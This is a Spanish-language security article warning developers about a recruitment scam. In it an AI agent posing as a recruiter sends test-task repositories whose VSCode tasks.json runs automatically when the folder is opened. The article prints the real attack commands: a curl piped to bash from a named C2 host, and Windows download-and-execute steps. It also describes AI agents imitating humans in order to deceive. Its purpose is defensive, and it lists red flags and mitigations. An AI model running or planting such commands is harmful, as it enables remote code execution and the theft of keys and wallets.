Agentes de IA en estafas de reclutamiento: Cómo infectan mediante repositorios privados
Los estafadores han comenzado a usar agentes de IA para automatizar ataques contra desarrolladores en plataformas como Habr Career. En lugar de mensajes manuales, miles de candidatos reciben ahora ofertas de empleo personalizadas con tareas de prueba que contienen código malicioso oculto. El vector principal son repositorios privados de GitHub con tareas de autoejecución en VSCode.
Cómo funciona el nuevo esquema de ataque
El atacante registra una cuenta en una plataforma de reclutamiento y configura un agente de IA que analiza perfiles de desarrolladores. Basado en el stack (por ejemplo, React + Node.js + Web3), genera una descripción de puesto convincente y mantiene un diálogo imitando a un RRHH en vivo. El agente evita respuestas instantáneas, comete errores tipográficos «humanos» y se comunica solo durante las horas laborales: todo para generar confianza.
Una vez que el candidato acepta la tarea de prueba, se le agrega a un repositorio privado en GitHub. Esto es clave: los repositorios públicos son detectados rápidamente por escáneres de seguridad, mientras que los privados pasan desapercibidos hasta que se clonan.
Carga útil oculta en .vscode/
Dentro del repositorio hay una estructura fullstack estándar: frontend en React, backend en Express, base de datos PostgreSQL, autenticación con Firebase, integración con Stripe. El código parece legítimo incluso en una revisión superficial. Sin embargo, el componente malicioso está oculto en el directorio .vscode/.
El archivo tasks.json contiene una tarea con el parámetro:
"runOn": "folderOpen"
Esto hace que VSCode ejecute automáticamente el comando al abrir la carpeta del proyecto. Aparece una notificación en la parte inferior de la interfaz, pero la mayoría de los desarrolladores la ignoran, ya que tales tareas son comunes para compilar proyectos.
Los comandos varían según el SO:
Linux / macOS:
curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash
Windows:
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs
Componentes de la infraestructura maliciosa
El ataque aprovecha varios elementos técnicos:
- Servidor C2:
ping-i2eo.onrender.comalojado en el servicio gratuito Render.com. El endpoint/nvsentrega un script de shell dinámico. El User-Agent (100,101,102) identifica el SO de la víctima. - Binario
argv.exe: Archivo PE32 (579 KB) en.vscode/snippets/, usado para desempaquetar una carga útil encriptada en Windows. - JS ofuscado: Archivo
.vscode/lock(753 KB) con JavaScript en una sola línea, probablemente para persistencia o robo de datos en entornos Unix. - Credenciales falsas:
server/config/default.jsoncontiene claves API reales en texto plano (Cloudflare, S3/R2, correo electrónico) para dar legitimidad al proyecto.
Objetivos del ataque y consecuencias
La carga útil exacta es desconocida, ya que se carga dinámicamente desde el servidor C2. Sin embargo, los objetivos típicos incluyen:
- Robar claves SSH de
~/.ssh/ - Extraer archivos
.envy tokens de otros proyectos - Secuestrar cookies del navegador y contraseñas guardadas
- Instalar un minero de criptomonedas
- Plantar una puerta trasera o shell inversa para acceso persistente
Los desarrolladores de Web3 son especialmente vulnerables: sus máquinas suelen contener frases semilla, claves privadas y billeteras que dan acceso directo a activos cripto.
Por qué el ataque falló esta vez
Dos factores evitaron la infección:
- Configuración de VSCode
task.allowAutomaticTasks: off— bloquea completamente la ejecución automática de tareas del espacio de trabajo sin confirmación explícita. - Abrir el repositorio en terminal WSL, no en la versión GUI de VSCode. El parámetro
runOn: folderOpensolo se activa al abrir la carpeta mediante la app de escritorio.
Señales de alerta al tratar con reclutadores
Estate atento a estas señales de advertencia:
- IA simulando a un humano: errores tipográficos deliberados, respuestas solo durante horas laborales, evasión de detalles específicos. Pedir info sobre el proyecto da respuestas vagas y genéricas tipo «bazofia de startup».
- Personalización excesivamente precisa del puesto que coincide con tu stack exacto, especialmente desde una cuenta de baja actividad.
- Repositorio privado para la tarea de prueba sin opción de vista previa del código.
- Presencia de
.vscode/tasks.jsoncon"runOn": "folderOpen"— las tareas de prueba legítimas no requieren scripts de autoejecución.
Lecciones clave
- Desactiva la ejecución automática de tareas en VSCode: Ve a Configuración → busca
task.allowAutomaticTasks→ ponlo enoff. - Inspecciona siempre el contenido del repositorio en la interfaz web de GitHub antes de clonar, especialmente los archivos
.vscode/. - No confíes ciegamente en repositorios privados — se usan comúnmente para evadir sistemas de detección de malware.
- Los desarrolladores de Web3 son objetivos prioritarios: Aísla billeteras y claves de tu espacio de trabajo principal.
- Los agentes de IA reducen drásticamente los costos de las estafas: Un solo sistema puede procesar miles de perfiles, permitiendo ataques masivos pero altamente personalizados.
— Editorial Team
Aún no hay comentarios.